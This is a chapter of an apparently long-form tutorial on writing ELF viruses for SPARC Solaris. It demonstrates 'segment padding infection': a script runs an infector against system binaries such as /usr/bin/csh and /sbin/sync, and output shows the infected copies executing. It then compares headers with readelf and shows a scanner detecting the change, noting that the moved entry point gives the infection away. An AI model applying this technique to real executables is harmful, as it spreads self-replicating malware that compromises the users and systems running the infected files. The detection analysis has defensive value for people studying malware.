8. Segment padding infection

 

Don't be too proud of this technological terror you've constructed. The ability to destroy a planet is insignificant next to the power of the Force.

 Darth Vader

Another interesting thing in the output of Segments of /usr/bin/csh is the distance between the two LOAD segments:

VirtAddr[2] - VirtAddr[1] - MemSiz[1] = 0x44000 - 0x10000 - 0x234a4 = 0x10b5c = 68444 bytes

Offset[2] - Offset[1] - FileSiz[1] = 0x24000 - 0x0 - 0x234a4 = 0xb5c = 2908 bytes

Only 2908 bytes (0xb5c) would be needed to align the first LOAD segment up to the alignment of 0x10000. For some reason at least one complete page lies between code segment and data segment. Is this gap target for a virus? Well, that depends. See Segment padding infection (i) for a general introduction. Anyway, the interesting thing in the output below is the value of _SC_PAGESIZE. We can fill the gap only in chunks of that size.

Output: out/sparc-sunos5.9/segment_padding/sysconf
_SC_CLK_TCK=100
_SC_VERSION=199506
_SC_PAGESIZE=4096

8.1. Off we go

We found a peculiarity. We verified its existence at Scan segments. We have a basic framework at One step closer to the edge (i) and implemented the specific infection method at Segment padding infection (i). The code to insert is at Infection #1. Time to let them all play together; using the script at cc.sh (i).

Output: out/sparc-sunos5.9/segment_padding/e1i1/cc
src/one_step_closer/get_seg.inc:6: warning: `phdr_data' might be used
uninitialized in this function

Now we know that the output of the compiler is alright and the infector was built. So off we go. The list of target executables was gathered in Food for segment padding.

Command: pre/sparc-sunos5.9/one_step_closer/infect.sh
#!/usr/xpg4/bin/sh
project=${1:-one_step_closer}
entry_addr=${2:-e1}
infection=${3:-i1}
scanner=${4:-segment_padding}

( cd tmp/sparc-sunos5.9/${project}/${entry_addr}${infection} \
	&& ./infector ) \
< out/sparc-sunos5.9/scanner/${scanner}/infect

Output: out/sparc-sunos5.9/segment_padding/e1i1/infect
/usr/bin/csh ... wrote 80 bytes, Ok
/sbin/sync ... wrote 80 bytes, Ok
/usr/bin/crle ... wrote 80 bytes, Ok
files=3; ok=3; failed=0

A simple shell script will do as test.

Output = Command: out/sparc-sunos5.9/segment_padding/test-e1i1.sh
#!tmp/sparc-sunos5.9/segment_padding/e1i1/csh_infected
echo "pid=[$$]"
cd tmp/sparc-sunos5.9/segment_padding/e1i1
echo "TERM=[$TERM]"
./sync_infected
./crle_infected

echo "---"
/usr/bin/cat csh_infected > strip_csh_infected \
&& /usr/ccs/bin/strip strip_csh_infected \
&& /usr/bin/chmod 755 strip_csh_infected \
&& ./strip_csh_infected -fc 'echo $$'

Output: out/sparc-sunos5.9/segment_padding/test-e1i1
ELFpid=[14530]
TERM=[xterm]
ELFELF
Default configuration file (/var/ld/ld.config) not found
  Default Library Path (ELF):	/usr/lib  (system default)
  Trusted Directories (ELF):	/usr/lib/secure  (system default)
---
ELF14544

The Force is strong with this one. [1]

8.2. Magnifying glass

After emotions cooled down a bit we can examine the infected executable and compare it with the original.

Command: pre/sparc-sunos5.9/segment_padding/readelf.sh
#!/usr/xpg4/bin/sh
shell=$( /usr/xpg4/bin/sed 1q \
	out/sparc-sunos5.9/scanner/segment_padding/infect )
[ -x "${shell}" ] || exit 1
cd tmp/sparc-sunos5.9/segment_padding/e1i1 || exit 2
infected=${shell##*/}_infected

/usr/xpg4/bin/ls -l ${infected}
/usr/xpg4/bin/ls -l strip_${infected}
/usr/xpg4/bin/ls -l ${shell}
/opt/sfw/bin/greadelf -l ${infected}

Output: out/sparc-sunos5.9/segment_padding/readelf
-rwxr-xr-x   1 alba     alba      163428 Feb 15  2003 csh_infected
-rwxr-xr-x   1 alba     alba      163428 Feb 15  2003 strip_csh_infected
-r-xr-xr-x   2 root     bin       159332 Apr  7  2002 /usr/bin/csh

Elf file type is EXEC (Executable file)
Entry point 0x334b0
There are 6 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x00010034 0x00000000 0x000c0 0x000c0 R E 0
  INTERP         0x000e38 0x00000000 0x00000000 0x00011 0x00000 R   0
      [Requesting program interpreter: /usr/lib/ld.so.1]
  LOAD           0x000000 0x00010000 0x00000000 0x244a4 0x244a4 R E 0x10000
  LOAD           0x025000 0x00044000 0x00000000 0x028e0 0x06238 RWE 0x10000
  DYNAMIC        0x0255b4 0x000445b4 0x00000000 0x00100 0x00000 RWE 0
  LOOS+ffffffb   0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0

 Section to Segment mapping:
  Segment Sections...
   00     
   01     
   02     .SUNW_syminfo .interp .hash .dynsym .dynstr .SUNW_version .rela.ex_shared .rela.cpp_finidata .rela.data .rela.bss .rela.plt .text .init .fini .exception_ranges .rodata .rodata1 
   03     .got .plt .dynamic .ex_shared .cpp_finidata .data .data1 .bss 
   04     
   05     

File size and code segment have grown as expected. Data segment and DYNAMIC segment moved accordingly:

infected.file_size - original.file_size = 163428 - 159332 4096 = 0x1000

infected.LOAD[1].FileSiz - sh.LOAD[1].FileSiz = 0x244a4 - 0x234a4 = 0x1000

infected.LOAD[2].Offset - sh.LOAD[2].Offset = 0x25000 - 0x24000 = 0x1000

infected.DYNAMIC.Offset - sh.DYNAMIC.Offset = 0x255b4 - 0x245b4 = 0x1000

And the new distance between the LOAD segments:

VirtAddr[2] - VirtAddr[1] - MemSiz[1] = 0x44000 - 0x10000 - 0x244a4 = 0xfb5c = 64348 bytes

Offset[2] - Offset[1] - FileSiz[1] = 0x25000 - 0x0 - 0x244a4 = 0xb5c = 2908 bytes

8.3. First scan

The small output of Scan segments includes the executable from last chapter. But for clarity we repeat the exercise.

Command: pre/sparc-sunos5.9/segment_padding/scan_segment.sh
#!/usr/xpg4/bin/sh
TEVWH_TMP=tmp/sparc-sunos5.9
export TEVWH_TMP
shell=$( /usr/xpg4/bin/sed 1q \
	out/sparc-sunos5.9/scanner/segment_padding/infect )
[ -x "${shell}" ] || exit 1
/usr/bin/echo "${shell}
tmp/sparc-sunos5.9/one_step_closer/e1i1/${shell##*/}_infected" \
| tmp/sparc-sunos5.9/scanner/segment_padding

Output: out/sparc-sunos5.9/segment_padding/scan
/usr/bin/csh ... delta=0x10b5c, Ok
(2) No such file or directory
CHECK: one_step_closer/e1i1/csh_infected
CHECK: src/one_step_closer/open_src.inc#9
CHECK: (0) <= (t->fd_src = open(t->src_file, 0))
CHECK: 0 <= -1; 0 <= 0xffffffff
files=2; ok=1; det_page=1; det_align=0; min=0x10b5c; max=0x10b5c

This is like playing chess against oneself, and losing. Can't do much about it, though.

8.4. Second scan

The value of Entry point changed dramatically. In the original it is in the first part of the file:

entry_point_m/additional.cs.xml = 0x17f0c - 0x10000 = 0x7f0c = 32524 bytes.

The infected copy moved that to less than 1000 bytes from the end of the code segment.

entry_point_ofs = 0x334b0 - 0x10000 = 0x234b0 = 144560 bytes.

end_of_LOAD1 = 0x10000 + 0x244a4 = 0x344a4

entry_point_distance_to_end = 0x344a4 - 0x334b0 = 0xff4 = 4084

This alone is an easy vulnerability to scanners. But then since Scan entry point we know for sure that with regular executables the entry point equals the start of section .text.

Notes

[1]

Admittedly, it is not strip-safe on SunOS. But I call that room for improvement.